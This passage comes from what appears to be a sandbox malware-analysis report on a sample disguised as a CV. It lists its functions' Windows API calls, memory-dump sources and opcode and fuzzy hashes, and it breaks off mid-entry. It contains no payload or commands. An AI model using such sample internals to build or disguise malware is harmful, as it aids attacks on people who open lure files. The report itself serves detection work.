                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$MoveWindow
                                                                          • String ID: Listbox
                                                                          • API String ID: 3315199576-2633736733
                                                                          • Opcode ID: 4e669ace591194909616e6115a45fc2c54516bc6efd571185c0d8d173386189a
                                                                          • Instruction ID: 96f5e679c103980b6c44b4b925d4e2c22b5fbef36ad321d57226378c59b2a57c
                                                                          • Opcode Fuzzy Hash: 4e669ace591194909616e6115a45fc2c54516bc6efd571185c0d8d173386189a
                                                                          • Instruction Fuzzy Hash: D721807261011CBFDB218F54CC85FBB3BAAFF89750F018129FA549B1A0C6759C528BA0
                                                                          Function 005B2287 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,005B2350,?), ref: 005B22A1
                                                                          • GetProcAddress.KERNEL32(00000000), ref: 005B22A8
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AddressLibraryLoadProc
                                                                          • String ID: RoInitialize$combase.dll
                                                                          • API String ID: 2574300362-340411864
                                                                          • Opcode ID: 9bbe455b606dcc28502763272fdf3f0d71aa7d13d586e1647c8eca41d8f6b544
                                                                          • Instruction ID: f787c87276136d88e49500b435da47ab29d2d35d2d1f796520cc0f8bfb167f78
                                                                          • Opcode Fuzzy Hash: 9bbe455b606dcc28502763272fdf3f0d71aa7d13d586e1647c8eca41d8f6b544
                                                                          • Instruction Fuzzy Hash: E3E0BF746D4711ABEB609FB1EC4EBD93A67BB05B07F146024F102D50E0DBB59484CF16
                                                                          Function 005B235C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,005B2276), ref: 005B2376
                                                                          • GetProcAddress.KERNEL32(00000000), ref: 005B237D
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AddressLibraryLoadProc
                                                                          • String ID: RoUninitialize$combase.dll
                                                                          • API String ID: 2574300362-2819208100
                                                                          • Opcode ID: bd048484b19a992ca76c2f600dae88257b42aa2b9330f3e975fe2dc08f92112b
                                                                          • Instruction ID: 83625e1eb926ca4251bc533d7db64855e04d5bf87fc9e3ba90a80c9f1823a318
                                                                          • Opcode Fuzzy Hash: bd048484b19a992ca76c2f600dae88257b42aa2b9330f3e975fe2dc08f92112b
                                                                          • Instruction Fuzzy Hash: A4E0EC74588700BFEB309FA0ED0DB883AA7B701B0BF156414F54AD20B0DBB89440CB16
                                                                          Function 0060AC59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: LocalTime__swprintf
                                                                          • String ID: %.3d$WIN_XPe
                                                                          • API String ID: 2070861257-2409531811
                                                                          • Opcode ID: 3cf6a5af8f6f21eef5fcd0bc5c79e4ced62d523d38cd8ad7ef98e17ee8a234d1
                                                                          • Instruction ID: 1f88e34423b3c5e006df7f6664943a16d609679e5a14c751c1b1a85f59d3ed53
                                                                          • Opcode Fuzzy Hash: 3cf6a5af8f6f21eef5fcd0bc5c79e4ced62d523d38cd8ad7ef98e17ee8a234d1
                                                                          • Instruction Fuzzy Hash: EBE0C271844B18DBDB0497D0CD05DFB737EA704380F110482F907A2080D7349B86AA23
                                                                          Function 005F2205 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryA.KERNEL32(kernel32.dll,?,005F21FB,?,005F23EF), ref: 005F2213
                                                                          • GetProcAddress.KERNEL32(00000000,GetProcessId), ref: 005F2225
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AddressLibraryLoadProc
                                                                          • String ID: GetProcessId$kernel32.dll
                                                                          • API String ID: 2574300362-399901964
                                                                          • Opcode ID: 781d541a841f9d1fa4dc81e70b441be698726ea064b1c21f2072ff13e4e0dd8e
                                                                          • Instruction ID: 3833db3da5286bad8d9f8cc3f04332ba1ebf2279998a9f9401ebccd222a772b1
                                                                          • Opcode Fuzzy Hash: 781d541a841f9d1fa4dc81e70b441be698726ea064b1c21f2072ff13e4e0dd8e
                                                                          • Instruction Fuzzy Hash: 1AD0A7B8800717AFD7254F30F80A6917AD6FB04300F15941EE841E2190DB74D8808A60
                                                                          Function 005942F6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryA.KERNEL32(kernel32.dll,00000000,005942EC,?,005942AA,?), ref: 00594304
                                                                          • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00594316
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AddressLibraryLoadProc
                                                                          • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                                                          • API String ID: 2574300362-1355242751
                                                                          • Opcode ID: 033e781241bc1069f392a36d42bd801105196e08c7293020137f67b632d34a1c
                                                                          • Instruction ID: edc1fe3826655982f29c6c07f7aa6a468dbdd53c21849008750340067d4748a8
                                                                          • Opcode Fuzzy Hash: 033e781241bc1069f392a36d42bd801105196e08c7293020137f67b632d34a1c
                                                                          • Instruction Fuzzy Hash: F8D0A770400723AFCB204F30E80DA817AD5BB08301B15881AE441D2260E7B0DCC08A10
                                                                          Function 0059434B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryA.KERNEL32(kernel32.dll,005941BB,00594341,?,0059422F,?,005941BB,?,?,?,?,005939FE,?,00000001), ref: 00594359
                                                                          • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 0059436B
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AddressLibraryLoadProc
                                                                          • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                                                          • API String ID: 2574300362-3689287502
                                                                          • Opcode ID: f408e77ef663dadcb76d0e672611f6913210783a971847eeaff80490470e9f33
                                                                          • Instruction ID: 558ab09c965b0ab00f534737e4258b147d80114377a78a8e005846fa34d1e5db
                                                                          • Opcode Fuzzy Hash: f408e77ef663dadcb76d0e672611f6913210783a971847eeaff80490470e9f33
                                                                          • Instruction Fuzzy Hash: E4D0A770404723AFCB304F30E809A867AD5BB20715B19881AE491D2250E7B0DCC08A10
                                                                          Function 005D0564 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryA.KERNEL32(oleaut32.dll,00000000,005D052F,?,005D06D7), ref: 005D0572
                                                                          • GetProcAddress.KERNEL32(00000000,UnRegisterTypeLibForUser), ref: 005D0584
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AddressLibraryLoadProc
                                                                          • String ID: UnRegisterTypeLibForUser$oleaut32.dll
                                                                          • API String ID: 2574300362-1587604923
                                                                          • Opcode ID: 313b9a148600bca4455f98f6908e39bba43c6d688e8a3550d0a9dd330fb9fcf0
                                                                          • Instruction ID: 44d3c19e71d8f46b0033919f60ecbc66c07deffda12ab0b3be91938b57dae9c2
                                                                          • Opcode Fuzzy Hash: 313b9a148600bca4455f98f6908e39bba43c6d688e8a3550d0a9dd330fb9fcf0
                                                                          • Instruction Fuzzy Hash: DAD05E30840322AAC7205F24A809B427BE5AB04300FA5951BEC4192290E670C4848A20
                                                                          Function 005D0539 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryA.KERNEL32(oleaut32.dll,?,005D051D,?,005D05FE), ref: 005D0547
                                                                          • GetProcAddress.KERNEL32(00000000,RegisterTypeLibForUser), ref: 005D0559
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AddressLibraryLoadProc
                                                                          • String ID: RegisterTypeLibForUser$oleaut32.dll
                                                                          • API String ID: 2574300362-1071820185
                                                                          • Opcode ID: a5acf01869dd243ef230ec1f5163ef68509303d0b4efdd8f48a054be8ed86aec
                                                                          • Instruction ID: 02b320e0c919e801890d3c58a1818b96dafd35b8cce640e1b03c167ae39a3003
                                                                          • Opcode Fuzzy Hash: a5acf01869dd243ef230ec1f5163ef68509303d0b4efdd8f48a054be8ed86aec
                                                                          • Instruction Fuzzy Hash: 93D0C770544723AFD7709F65F8197417AE5BB14711FE5D41FFC56D2290D670C8848E50
                                                                          Function 005EECC8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryA.KERNEL32(kernel32.dll,?,005EECBE,?,005EEBBB), ref: 005EECD6
                                                                          • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 005EECE8
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AddressLibraryLoadProc
                                                                          • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                                          • API String ID: 2574300362-1816364905
                                                                          • Opcode ID: 9092f3a0a9909e1b627eccbf3eebcf06afd39d1347917fcf46bfb0e64d119f20
                                                                          • Instruction ID: 7f889cff3899672112fb0d78226b5246582c6fc2c6abfa0e1f1b06017c39a19d
                                                                          • Opcode Fuzzy Hash: 9092f3a0a9909e1b627eccbf3eebcf06afd39d1347917fcf46bfb0e64d119f20
                                                                          • Instruction Fuzzy Hash: C4D0A770410733AFCB245F71E84A7827AE5BB00300B25C41AF88DD2150DF70CC80D610
                                                                          Function 005EBADD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryA.KERNEL32(kernel32.dll,00000000,005EBAD3,00000001,005EB6EE,?,0062DC00), ref: 005EBAEB
                                                                          • GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 005EBAFD
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AddressLibraryLoadProc
                                                                          • String ID: GetModuleHandleExW$kernel32.dll
                                                                          • API String ID: 2574300362-199464113
                                                                          • Opcode ID: 056c1edf1998d82e857fdff36e036c8bd5193d3a0ca81ba56bbcb6830a5c5128
                                                                          • Instruction ID: 6bf1c8dea9f1c65b03af334112dd620c6a4d8a088fae3b853893d4db104b07fa
                                                                          • Opcode Fuzzy Hash: 056c1edf1998d82e857fdff36e036c8bd5193d3a0ca81ba56bbcb6830a5c5128
                                                                          • Instruction Fuzzy Hash: 87D0A770800713EFD7345FA1E849B927ADDBB00701B15841AE883D2150DB70C880C610
                                                                          Function 005F3BDB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryA.KERNEL32(advapi32.dll,?,005F3BD1,?,005F3E06), ref: 005F3BE9
                                                                          • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 005F3BFB
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AddressLibraryLoadProc
                                                                          • String ID: RegDeleteKeyExW$advapi32.dll
                                                                          • API String ID: 2574300362-4033151799
                                                                          • Opcode ID: ad49300bb6d21cf9c82bc6cda7f8b1c1ae27d3cae8bedd5ad23423408ce531c4
                                                                          • Instruction ID: e646ddb0f694ada24fb50bd495d912cab3973d20fd76b79445d99195fb087ba2
                                                                          • Opcode Fuzzy Hash: ad49300bb6d21cf9c82bc6cda7f8b1c1ae27d3cae8bedd5ad23423408ce531c4
                                                                          • Instruction Fuzzy Hash: 28D0A7F0400726EFD7205F60E80A753BEF5BF01314B16845AE445E3150DAB4C8808E10
                                                                          Function 005C9B30 Relevance: 6.3, APIs: 4, Instructions: 306COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: d0c59074f941586f81677126d7909cfd50e096b534c914b54964cd2e05e4d8ff
                                                                          • Instruction ID: f31874701a8ceca421ab3a130862b43f8b6efe1cdecb6e8c9204f3e863582708
                                                                          • Opcode Fuzzy Hash: d0c59074f941586f81677126d7909cfd50e096b534c914b54964cd2e05e4d8ff
                                                                          • Instruction Fuzzy Hash: E0C10775A0021AAFDB14DFD4C888FAEBBB9FF48704F10459DE906AB251D7709E41DB90
                                                                          Function 005EAA84 Relevance: 6.3, APIs: 4, Instructions: 268COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CoInitialize.OLE32(00000000), ref: 005EAAB4
                                                                          • CoUninitialize.OLE32 ref: 005EAABF
                                                                            • Part of subcall function 005D0213: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 005D027B
                                                                          • VariantInit.OLEAUT32(?), ref: 005EAACA
                                                                          • VariantClear.OLEAUT32(?), ref: 005EAD9D
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
                                                                          • String ID:
                                                                          • API String ID: 780911581-0
                                                                          • Opcode ID: 2cf188cd16cdaa230bc3d25f5057974403c18df29f5385f55d868bef46b99838
                                                                          • Instruction ID: cb584a1d0a7dcbac506492a9ccb17a61ec224e92108e2346ee0c6d28e8bbaa01
                                                                          • Opcode Fuzzy Hash: 2cf188cd16cdaa230bc3d25f5057974403c18df29f5385f55d868bef46b99838
                                                                          • Instruction Fuzzy Hash: 5AA13B352047429FCB14DF25C895B5ABBE5BF89710F148849F99A9B3A1CB31FD00CB86
                                                                          Function 005C91CC Relevance: 6.2, APIs: 4, Instructions: 201memoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Variant$AllocClearCopyInitString
                                                                          • String ID:
                                                                          • API String ID: 2808897238-0
                                                                          • Opcode ID: 94dec19097b169080522b02db36241aacf80caab833b58c41f51ffe56c600169
                                                                          • Instruction ID: 4100a4b61877d5e391b56b72110bcf387973e7de8e8079ef42730052acd37b3a
                                                                          • Opcode Fuzzy Hash: 94dec19097b169080522b02db36241aacf80caab833b58c41f51ffe56c600169
                                                                          • Instruction Fuzzy Hash: 2A518D34600742AEDB24AFE9D49DF6EBBE5BF89710B209C1FE546CB2D1DB3098808705
                                                                          Function 005B365B Relevance: 6.2, APIs: 4, Instructions: 162COMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: _memset$__filbuf__getptd_noexit_memcpy_s
                                                                          • String ID:
                                                                          • API String ID: 3877424927-0
                                                                          • Opcode ID: 065ad613f1183b824f05baa70d3d15c8958660488bca00daffb81e2f860a9d07
                                                                          • Instruction ID: e91c23d2ebef5170d0669edb96552639d2f9dcd0c364481e119e8e6f20ab7a2b
                                                                          • Opcode Fuzzy Hash: 065ad613f1183b824f05baa70d3d15c8958660488bca00daffb81e2f860a9d07
                                                                          • Instruction Fuzzy Hash: C951A6B0A00606ABDB248F69C8855EE7FA5FF44320F248729F825A62D0DB70FF548B41
                                                                          Function 005FC4D7 Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetWindowRect.USER32(013D67A0,?), ref: 005FC544
                                                                          • ScreenToClient.USER32(?,00000002), ref: 005FC574
                                                                          • MoveWindow.USER32(00000002,?,?,?,000000FF,00000001,?,00000002,?,?,?,00000002,?,?), ref: 005FC5DA
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$ClientMoveRectScreen
                                                                          • String ID:
                                                                          • API String ID: 3880355969-0
                                                                          • Opcode ID: d6d65208662576e48a900edc3e01a7962655cdea7ef59ca1cea98c5eb636a3b0
                                                                          • Instruction ID: 8d4eebebe9f4d5597062cdfa59a32fb53dff2c856c3848a56bbb34728cc69cef
